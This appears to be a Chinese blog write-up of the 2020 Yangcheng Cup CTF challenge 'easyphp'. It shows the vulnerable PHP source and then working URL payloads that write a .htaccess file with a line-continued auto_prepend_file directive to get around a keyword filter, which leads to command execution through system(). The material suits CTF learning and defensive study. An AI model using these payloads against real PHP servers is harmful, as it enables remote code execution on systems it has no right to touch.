[羊城杯2020]easyphp 1

.htaccess的利用,rce,绕过

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

上来直接给代码了
可以看到代码不长,主要利用的就是最下面的file_put_contents这个函数,要写入文件,同时还判断原先的目录下是不是只有index.php文件,删除其他的
呢么我们可以先尝试对index.php进行变量覆盖,测试之后发现行不通,也就是说他不能执行代码,只是当字符串写入了,因为复现环境太难搞了就不放图了
之后,我搜到了一篇文章学了很多https://blog.csdn.net/solitudi/article/details/116666720

可以看到这里有个htaccess文件,也就是说我们可以用配置文件去将自己改成可执行文件从而执行
呢么按照他的payload上,记得要将回车和#进行url编码不然会出问题的
payload

php_value auto_prepend_fi\
le .htaccess
#<?php system("ls")?>\

?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess

?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\&filename=.htaccess

?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl'a'g")?>\&filename=.htaccess


拿到flag

总结

这个题目让我知道了htaccess的其他用法,不只限于文件上传,要灵活运用

posted @ 2024-07-16 09:05  z3ghxxx  阅读(244)  评论(0)    收藏  举报